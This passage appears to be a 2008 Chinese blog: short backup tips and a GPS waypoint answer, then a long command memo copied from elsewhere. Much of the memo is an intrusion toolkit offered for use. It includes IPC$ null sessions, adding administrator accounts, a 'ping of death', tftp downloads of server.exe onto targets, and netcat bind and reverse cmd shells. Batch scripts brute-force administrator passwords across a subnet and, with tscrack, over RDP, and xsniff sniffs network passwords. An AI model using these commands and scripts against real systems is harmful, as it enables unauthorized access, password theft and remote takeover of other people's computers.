5.在恢復系統時,最好先檢查一下要恢復的目標碟是否有重要的文件還未轉移,千萬不要等硬碟訊息被覆蓋後才後悔莫及啊。
6.在選項壓縮率時,建議不要選項最高度壓縮率,因為最高度壓縮率非常耗時,而壓縮率又沒有明顯的提高。
7.在新安裝了軟體和硬體後,最好重新製作映像文件,否則很可能在恢復後出現一些莫名其妙的錯誤。
__________________

2008年2月9日

如果已經知道GPS的定位了,要如何把它設定為我的目的地?

Q:如果已經知道GPS的定位了,要如何把它設定為我的目的地?
A:

切換到"地圖模式"
然後下方工具列有一個十字符號的按鈕
按下去之後
他就會在地圖模式上面
顯示目前GPS的位置
然後按住那個點
就可以選擇"新增自定航點"
在地圖模式下
隨便按住一個點
然後"設成我的地標"

例如:我要去顏氏牧場
   我已知道它的GPS位置為
   E.120 54』22」 N.23 55』55」

在地圖模式下
隨便按住一個點
然後"設成我的地標"

把X軸和Y軸用手動輸入就可以了

2008年1月17日

DOS command 備忘記

DOS command 備忘記
這些指令忘了在那個網站複製的, 但值得收藏備忘.

#1 一:

net use \\\\ip\\ipc$ " " /user:" " 建立IPC空鏈接
net use \\\\ip\\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\\\ip\\c$ "密碼" /user:"用戶名" 直接登陸后映射對方C:到本地為H:
net use h: \\\\ip\\c$ 登陸后映射對方C:到本地為H:
net use \\\\ip\\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup ***istrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權限,注意:***istrator后加s用復數
net start 查看開啟了哪些服務
net start 服務名  開啟服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time \\\\目標ip 查看對方時間
net time \\\\目標ip /set 設置本地計算机時間與“目標IP”主机的時間同步,加上參數/yes可取消确認信息
net view 查看本地局域網內開啟了哪些共享
net view \\\\ip 查看對方局域網內開啟了哪些共享
net config 顯示系統網絡設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 局域網內正在使用的網絡連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸后用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些端口,常用netstat -an
netstat -n 查看端口的網絡連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個端口開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算机名) 跟蹤路由(數据包),參數:“-w數字”用于設置超時間隔。
ping ip(或域名) 向對方主机發送默認大小為32字節的數据,參數:“-l[空格]數据包大小”;“-n發送數据次數”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大于64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數“/all”顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數后強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如“DEL/AR *.*”表示刪除當前目錄下所有只讀文件,“DEL/A-S *.*”表示刪除當前目錄下除系統文件以外的所有文件

#2 二:

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統确認就直接刪除。(二個命令作用相同)
move 盤符\\路徑\\要移動的文件名 存放移動文件的路徑\\移動后文件名 移動文件,用參數/y將取消确認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計划任務
at /delete 停止所有計划任務,用參數/yes則不需要确認就直接停止
at id號 /delete 停止某個已注冊的計划任務
at 查看所有的計划任務
at \\\\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算机
finger username @host 查看最近有哪些用戶登陸
telnet ip 端口 遠和登陸服務器,默認端口為23
open ip 連接到IP(屬telnet登陸后的命令)
telnet 在本机上直接鍵入telnet 將進入本机的telnet
copy 路徑\\文件名1 路徑\\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消确認你要改寫一份現存目錄文件
copy c:\\srv.exe \\\\ip\\***$ 復制本地c:\\srv.exe到對方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
copy \\\\ip\\***$\\svv.exe c:\\ 或:copy\\\\ip\\***$\\*.* 復制對方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要復制的文件或目錄樹 目標地址\\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉机作跳板時這用肉机IP) get server.exe c:\\server.exe 登陸后,將“IP”的server.exe下載到目標主机c:\\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\\server.exe 登陸后,上傳本地c:\\server.exe至主机
ftp ip 端口 用于上傳文件至服務器或進行文件操作,默認端口為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網絡地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變量名稱=要指派給變量的字符 設置環境變量
set 顯示當前所有的環境變量
set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變量)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:“:start”標簽)
call 路徑\\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變量)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\\、D:\\統一改為:EntSky\\ )

#3 三:

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算机名)
format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結构顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字符
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認端口23為其它任何端口
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問權限;/G 用戶名:perm 賦予指定用戶訪問權限;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\\test.txt /D pub 設定d:\\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶權限列表
REM 文本內容 在批處理文件中添加注解
netsh 查看或更改本地網絡配置情況

#4 四:

IIS服務命令:
iisreset /reboot 重啟win2k計算机(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然后重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開机
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開机。預設值為重新啟動20秒,停止60秒,重新開机0秒。
FTP 命令: (后面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主机名] -v 顯示遠程服務器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主机FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主机目錄
put 或 send 本地文件名 [上傳到主机上的文件名] 將本地一個文件傳送至遠端主机中
get 或 recv [遠程主机文件名] [下載到本地后的文件名] 從遠端主机中傳送至本地主机中
mget [remote-files] 從遠端主机接收一批文件至本地主机
mput local-files 將本地主机中一批文件傳送至遠端主机
dir 或 ls [remote-directory] [local-file] 列出當前遠端主机目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(缺省值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠程服務器的ftp會話(與open對應)
open host[port] 建立指定ftp服務器連接,可指定連接端口
delete 刪除遠端主机中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主机中建立目錄
rename [from] [to] 改變遠端主机中的文件名
rmdir directory-name 刪除遠端主机中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主机系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主机
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主机的工作目錄,如果缺省,就轉到當前用戶的HOME目錄
chmod 改變遠端主机的文件權限
case 當為ON時,用MGET命令拷貝的文件名到本地机器中,全部轉換為小寫字母
cd remote-dir 進入遠程主机目錄
cdup 進入遠程主机目錄的父目錄
! 在本地机中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysql*** -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 數据庫.* to 用戶名@登錄主机 identified by \\"密碼\\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以后面都帶一個分號作為命令結束符)
show databases; 顯示數据庫列表。剛開始時才兩個數据庫:mysql和test。mysql庫很重要它里面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數据表
describe 表名; 顯示數据表的結构
create database 庫名; 建庫
use 庫名;
create table 表名 (字段設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqldump --opt school>school.bbb 備份數据庫:(命令在DOS的\\\\mysql\\\\bin目錄下執行);注釋:將數据庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主机。
參數說明:/S 關閉主机,/R 重啟主机, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開机,/M //IP 指定的遠程主机。
例:shutdown /r /t 0 立即重啟本地主机(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主机上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程加載的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

#6 六:

Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取權限
grep 在檔案中查找字符串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台机器的人以及Login時間地點
w 查詢目前上机者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 權限轉換為指定使用者
telnet IP telnet連接對方主机(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某服務器(同win2K)


批處理命令與變量:

1:for命令及變量 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變量則用:%%i ,而調用變量時用:%i% ,變量是區分大小寫的(%i 不等于 %I)。
批處理每次能處理的變量從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\\\ip\\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;“(1 -1 254)”說明:即從254到1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\\pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\\\%1.%%G /user:***istrator find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立***istrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變量(ip的最后一位);& 用來隔開echo 和net use 這二個命令; 指建立了ipc$后,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\\user.dic) DO smb.exe %1 %%i D:\\pass.dic 200
存為:ok.exe 說明:輸入一個IP后,用字典文件d:\\pass.dic來暴解d:\\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

#7 七:

2:if命令及變量 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最后返回一個等于或大于指定數字的退出編碼,指定條件為“真”。
例:IF errorlevel 0 命令 指程序執行后返回的值為0時,就值行后面的命令;IF not errorlevel 1 命令指程序執行最后返回的值不等于1,就執行后面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字符串1==字符串2 命令語句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就執行后面的命令。
例:“if "%2%"=="4" goto start”指:如果輸入的第二個變量為4時,執行后面的命令(注意:調用變量時就%變量名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行后面的命令。
例:“if not nc.exe goto end”指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字符串1==字符串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句后指:當前面的條件不成立時,就指行else后面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >后就等于是單獨一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”


(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:
-h 查看幫助信息
-d 后台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監听模式,用于入站連接
-L 監听模式,連接天閉后仍然繼續監听,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]端口 本地端口號
-r 隨机本地及遠程端口
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用于掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主机的80端口
nc -l -p 80 開啟本机的TCP 80端口並監听
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell並反向連接192.168.0.2的5354端口
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監听80端口,直到CTR+C為止
nc -L -p 80 > c:\\log.txt 作為蜜罐用2:開啟並不停地監听80端口,直到CTR+C,同時把結果輸出到c:\\log.txt
nc -L -p 80 <> 存放文件的路徑及名稱 傳送文件到對方主机
備 注:
管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn <>> d:\\log.txt 意思是:后台執行dir,並把結果存在d:\\log.txt中
>與>>的區別  ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\\winnt >> d:\\log.txt和@dir c:\\winnt > d:\\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

#8 八:

2、掃錨工具:xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主机信息
xscan -file <主机列表文件名> <檢測項目> [其他選項] 掃錨"主机IP列表文件名"中的所有主机信息
檢測項目
-active 檢測主机是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的端口狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫權限
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 加載Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網絡適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網絡適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主机
-o 跳過沒有檢測到開放端口的主机
  -t 並發線程數量,並發主机數量 指定最大並發線程數量和並發主机數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (后綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  檢測192.168.1.1-192.168.255.255網段內主机的所有漏洞,跳過無響應的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主机的標准端口狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測“hostlist.txt”文件中列出的所有主机的標准端口狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主机,顯示詳細檢測進度,跳過沒有檢測到開放端口的主机www.jz5u.com

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕獲局域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數据報
-udp 輸出UDP數据報
-icmp 輸出ICMP數据報
-pass 過濾密碼信息
-hide 后台運行
-host 解析主机名
-addr IP地址 過濾IP地址
-port 端口 過濾端口
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 后台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出

4、終端服務密碼破解: tscrack.exe

參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接(多線程)
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使用-f后面的密碼
-F 間隔時間(頻率)
-l 使用-l后面的用戶名
-w 使用-w后面的密碼字典
-p 使用-p后面的密碼
-D 登錄主頁面
用法示例
tscrack 192.168.0.1 -l ***istrator -w pass.dic 遠程用密碼字典文件暴破主机的***istrator的登陸密碼
tscrack 192.168.0.1 -l ***istrator -p 123456 用密碼123456遠程登陸192.168.0.1的***istrator用戶
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(?存為3389.bat) (假設現有用SuperScan或其它掃錨器掃到一批開有3389的主机IP列表文件3389.txt)
3389.bat意思是:從3389.txt文件中取一個IP,接著運行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(?存為hack.bat) (運行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個目錄下;就可以等待結果了)
hack.bat意思是:運行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密碼,並將破解結果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown \\\\IP地址 t:20 20秒后將對方NT自動關閉(Windows 2003系統自帶工具,在Windows2000下用進就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細介紹。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有詳細說明(端口重定向繞過防火墻)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當有人掃錨你的80端口時,他掃到的結果會完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目標IP 把本机向目標IP發送的23端口Telnet請求經端口重定向后,就通過88端口發送到目標IP的23端口。(與目標IP建立Telnet時本机就用的88端口與其相連接)然后:直接Telnet 127.0.0.1(本机IP)就連接到目標IP的23端口了。
OpenTelnet.exe (遠程開啟telnet工具)
opentelnet.exe \\\\IP 帳號 密碼 ntlm認証方式 Telnet端口 (不需要上傳ntlm.exe破坏微軟的身份驗証方式)直接遠程開啟對方的telnet服務后,就可用telnet \\\\ip 連接上對方。
NTLM認証方式:0:不使用NTLM身份驗証;1:先嘗試NTLM身份驗証,如果失敗,再使用用戶名和密碼;2:只使用NTLM身份驗証。

ResumeTelnet.exe (OpenTelnet附帶的另一個工具)
resumetelnet.exe \\\\IP 帳號 密碼 用Telnet連接完對方后,就用這個命令將對方的Telnet設置還原,並同時關閉Telnet服務。

#10 十:

6、FTP命令詳解:

FTP命令是Internet用戶使用最頻繁的命令之一,熟悉並靈活應用FTP的內部命令,可以大大方便使用者,並收到事半功倍之效。如果你想學習使用進行后台FTP下載,那麼就必須學習FTP指令。

FTP的命令行格式為:
ftp -v -d -i -n -g [主机名] ,其中

-v 顯示遠程服務器的所有響應信息;

-n 限制ftp的自動登錄,即不使用;.n etrc文件;

-d 使用調試方式;

-g 取消全局文件名。

FTP使用的內部命令如下(中括號表示可選項):

1.![cmd[args]]:在本地机中執行交互shell,exit回到ftp環境,如:!ls*.zip
2.$ macro-ame[args]: 執行宏定義macro-name。

3.account[password]: 提供登錄遠程系統成功后訪問系統資源所需的補充口令。
4.append local-file[remote-file]:將本地文件追加到遠程系統主机,若未指定遠程系統文件名,則使用本地文件名。

5.ascii:使用ascii類型傳輸方式。
6.bell:每個命令執行完畢后計算机響鈴一次。

7.bin:使用二進制文件傳輸方式。
8.bye:退出ftp會話過程。

9.case:在使用mget時,將遠程主机文件名中的大寫轉為小寫字母。
10.cd remote-dir:進入遠程主机目錄。

11.cdup:進入遠程主机目錄的父目錄。
12.chmod mode file-name:將遠程主机文件file-name的存取方式設置為mode,如:chmod 777 a.out。

13.close:中斷與遠程服務器的ftp會話(與open對應)。
14.cr:使用asscii方式傳輸文件時,將回車換行轉換為回行。

15.delete remote-file:刪除遠程主机文件。
16.debug[debug-value]:設置調試方式, 顯示發送至遠程主机的每條命令,如:deb up 3,若設為0,表示取消debug。

17.dir[remote-dir][local-file]:顯示遠程主机目錄,並將結果存入本地文件。
18.disconnection:同close。

19.form format:將文件傳輸方式設置為format,缺省為file方式。
20.get remote-file[local-file]: 將遠程主机的文件remote-file傳至本地硬盤的local-file。

21.glob:設置mdelete,mget,mput的文件名擴展,缺省時不擴展文件名,同命令行的-g參數。
22.hash:每傳輸1024字節,顯示一個hash符號(#)。

23.help[cmd]:顯示ftp內部命令cmd的幫助信息,如:help get。
24.idle[seconds]:將遠程服務器的休眠計時器設為[seconds]秒。

25.image:設置二進制傳輸方式(同binary)。
26.lcd[dir]:將本地工作目錄切換至dir。

27.ls[remote-dir][local-file]:顯示遠程目錄remote-dir, 並存入本地文件local-file。
28.macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。

29.mdelete[remote-file]:刪除遠程主机文件。
30.mdir remote-files local-file:與dir類似,但可指定多個遠程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:傳輸多個遠程文件。
32.mkdir dir-name:在遠程主机中建一目錄。

33.mls remote-file local-file:同nlist,但可指定多個文件名。
34.mode[modename]:將文件傳輸方式設置為modename, 缺省為stream方式。

35.modtime file-name:顯示遠程主机文件的最后修改時間。
36.mput local-file:將多個文件傳輸至遠程主机。

37.newer file-name: 如果遠程机中file-name的修改時間比本地硬盤同名文件的時間更近,則重傳該文件。
38.nlist[remote-dir][local-file]:顯示遠程主机目錄的文件清單,並存入本地硬盤的local-file。

39.nmap[inpattern outpattern]:設置文件名映射机制, 使得文件傳輸時,文件中的某些字符相互轉換, 如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時,文件名變為a1,a2。 該命令特別適用于遠程主机為非UNIX机的情況。
40.ntrans[inchars[outchars]]:設置文件名字符的翻譯机制,如ntrans1R,則文件名LLL將變為RRR。

41.open host[port]:建立指定ftp服務器連接,可指定連接端口。
42.passive:進入被動傳輸方式。

43.prompt:設置多個文件傳輸時的交互提示。
44.proxy ftp-cmd:在次要控制連接中,執行一條ftp命令, 該命令允許連接兩個ftp服務器,以在兩個服務器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個服務器間的連接。
45.put local-file[remote-file]:將本地文件local-file傳送至遠程主机。
46.pwd:顯示遠程主机的當前工作目錄。

47.quit:同bye,退出ftp會話。
48.quote arg1,arg2...:將參數逐字發至遠程ftp服務器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:類似于get, 但若local-file存在,則從上次傳輸中斷處續傳。

51.rhelp[cmd-name]:請求獲得遠程主机的幫助。
52.rstatus[file-name]:若未指定文件名,則顯示遠程主机的狀態, 否則顯示文件狀態。

53.rename[from][to]:更改遠程主机文件名。
54.reset:清除回答隊列。

55.restart marker:從指定的標志marker處,重新開始get或put,如:restart 130。
